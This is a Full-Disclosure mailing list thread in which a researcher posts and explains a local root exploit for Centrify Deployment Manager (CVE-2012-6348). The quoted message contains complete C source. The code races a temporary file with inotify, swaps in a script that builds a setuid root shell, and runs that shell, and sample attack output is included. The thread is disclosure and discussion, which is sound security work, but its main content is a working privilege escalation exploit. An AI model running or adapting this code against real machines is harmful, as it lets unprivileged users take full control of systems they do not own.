[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] Local root exploit for Centrify Deployment Manager < v2.1.0.283 local root
- To: Alexander Georgiev <alexander.georgiev@xxxxxxxx>
- Subject: Re: [Full-disclosure] Local root exploit for Centrify Deployment Manager < v2.1.0.283 local root
- From: "Larry W. Cashdollar" <larry0@xxxxxx>
- Date: Fri, 04 Jan 2013 21:58:43 +0000 (GMT)
<html><body><div>Hi Alexander,<br><br>Sorry for the late response. <br><br>Yes,
exactly. I create the file centrify.cmd.0 before they echo into it so I own it,
then wait for them to change<br>the permissions on the file (this occurs after
they overwrite it with their shell script) to copy my malicious code<br>in
place. They then execute the file with dzdo.<br></div><div><div><br>--
Larry<br><br>On Dec 19, 2012, at 05:27 AM, Alexander Georgiev
<alexander.georgiev@xxxxxxxx> wrote:<br><br><div><blockquote
type="cite"><div class="msg-quote"><div class="moz-cite-prefix">Could you
explain me how it works? It looks like you create a file, which will be chown'd
to root by the system, right?<br> <br> <br> <br> Am 18.12.2012 21:56, schrieb
Larry W. Cashdollar:<br></div><blockquote type="cite"><div>These guys were
really cool about it, probably one of the best vendor responses I've
gotten. I am seeing if<br> I can go to the next iteration of training.
=-> <br></div><div><br> On Dec 18, 2012, at 12:51 PM, Jeffrey Walton
<a class="moz-txt-link-rfc2396E" href="mailto:noloader@xxxxxxxxx";
data-mce-href="mailto:noloader@xxxxxxxxx";><noloader@xxxxxxxxx></a>
wrote:<br> <br><div><blockquote type="cite"><div class="msg-quote"><div
class="_stretch">I've got a feeling you will not be sent to anymore vendor
classes :)<br> <br> On Tue, Dec 18, 2012 at 3:49 PM, Larry W. Cashdollar <<a
href="mailto:larry0@xxxxxx";
data-mce-href="mailto:larry0@xxxxxx";>larry0@xxxxxx</a>> wrote:<br> >
/*Local root exploit for Centrify Deployment Manager v2.1.0.283 local root,<br>
> Centrify released a fix very quickly - nice vendor response.<br> ><br>
> <a href="http://vapid.dhs.org/exploits/centrify_local_r00t.c";
data-mce-href="http://vapid.dhs.org/exploits/centrify_local_r00t.c";>http://vapid.dhs.org/exploits/centrify_local_r00t.c</a><br>
><br> > CVE-2012-6348 12/17/2012<br> > <a
href="http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html";
data-mce-href="http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html";>http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html</a><br>
> Greetings vladz, Thanks for the inotify & syscall technique.<br>
><br> > This exploit based on <a
href="http://vladz.devzero.fr/010_bzexe-vuln.php";
data-mce-href="http://vladz.devzero.fr/010_bzexe-vuln.php";>http://vladz.devzero.fr/010_bzexe-vuln.php</a><br>
><br> > Run the exploit and wait for administrator to analyse or
deploysoftware<br> > to the system.<br> ><br> >
larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0<br> > [*] Launching
attack against "centrify.cmd.0"<br> > [+] Creating evil script
(/tmp/evil)<br> > [+] Creating target file (/bin/touch
/tmp/centrify.cmd.0)<br> > [+] Initialize inotify<br> > [+] Waiting for
root to launch "centrify.cmd.0"<br> > [+] Opening root shell (/tmp/sh)<br>
> #<br> ><br> > Larry W. Cashdollar<br> > @_larry0<br> > */<br>
><br> ><br> > #include <stdlib.h><br> > #include
<stdio.h><br> > #include <unistd.h><br> > #include
<sys/stat.h><br> > #include <sys/types.h><br> > #include
<string.h><br> > #include <sys/inotify.h><br> > #include
<fcntl.h><br> > #include <sys/syscall.h><br> ><br> >
/*Create a small c program to pop us a root shell*/<br> > int
create_nasty_shell(char *file) {<br> > char *s = "#!/bin/bash\n"<br> >
"echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"<br> > "cc
/tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"<br> > "chmod 4755
/tmp/sh;\n";<br> ><br> > int fd = open(file, O_CREAT|O_RDWR,
S_IRWXU|S_IRWXG|S_IRWXO);<br> > write(fd, s, strlen(s));<br> >
close(fd);<br> ><br> > return 0;<br> > }<br> ><br> ><br> >
int main(int argc, char **argv) {<br> > int fd, wd;<br> > char buf[1],
*targetpath, *cmd,<br> > *evilsh = "/tmp/evil", *trash = "/tmp/trash";<br>
><br> > if (argc < 2) {<br> > printf("Usage: %s <target file>
\n", argv[0]);<br> > return 1;<br> > }<br> ><br> > printf("[*]
Launching attack against \"%s\"\n", argv[1]);<br> ><br> > printf("[+]
Creating evil script (/tmp/evil)\n");<br> > create_nasty_shell(evilsh);<br>
><br> > targetpath = malloc(sizeof(argv[1]) + 6);<br> > cmd =
malloc(sizeof(char) * 32);<br> > sprintf(targetpath, "/tmp/%s",
argv[1]);<br> > sprintf(cmd,"/bin/touch %s",targetpath);<br> >
printf("[+] Creating target file (%s)\n",cmd);<br> > system(cmd);<br>
><br> > printf("[+] Initialize inotify\n");<br> > fd =
inotify_init();<br> > wd = inotify_add_watch(fd, targetpath, IN_ATTRIB);<br>
><br> > printf("[+] Waiting for root to change perms on \"%s\"\n",
argv[1]);<br> > syscall(SYS_read, fd, buf, 1);<br> > syscall(SYS_rename,
targetpath, trash);<br> > syscall(SYS_rename, evilsh, targetpath);<br>
><br> > inotify_rm_watch(fd, wd);<br> ><br> > printf("[+] Opening
root shell (/tmp/sh)\n");<br> > sleep(2);<br> > system("rm -fr
/tmp/trash;/tmp/sh || echo \"[-] Failed.\"");<br> ><br> > return 0;<br>
> }<br></div></div></blockquote></div></div><br><fieldset
class="mimeAttachmentHeader"></fieldset><br><pre>_______________________________________________
Full-Disclosure - We believe in it.
Charter: <a class="moz-txt-link-freetext"
href="http://lists.grok.org.uk/full-disclosure-charter.html";
data-mce-href="http://lists.grok.org.uk/full-disclosure-charter.html";>http://lists.grok.org.uk/full-disclosure-charter.html</a>
Hosted and sponsored by Secunia - <a class="moz-txt-link-freetext"
href="http://secunia.com/";
data-mce-href="http://secunia.com/";>http://secunia.com/</a><div
style="width:0px; height:0px;"> </div></pre></blockquote><br><div
class="_stretch">_______________________________________________<br>
Full-Disclosure - We believe in it.<br> Charter: <a
href="http://lists.grok.org.uk/full-disclosure-charter.html";
data-mce-href="http://lists.grok.org.uk/full-disclosure-charter.html";>http://lists.grok.org.uk/full-disclosure-charter.html</a><br>
Hosted and sponsored by Secunia - <a href="http://secunia.com/";
data-mce-href="http://secunia.com/";>http://secunia.com/</a><div
style="width:0px;
height:0px;"> </div></div></div></blockquote></div></div></div><style
class="_message-styles">div.msg-quote { background-color:#FFFFFF;}
</style></body></html>_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/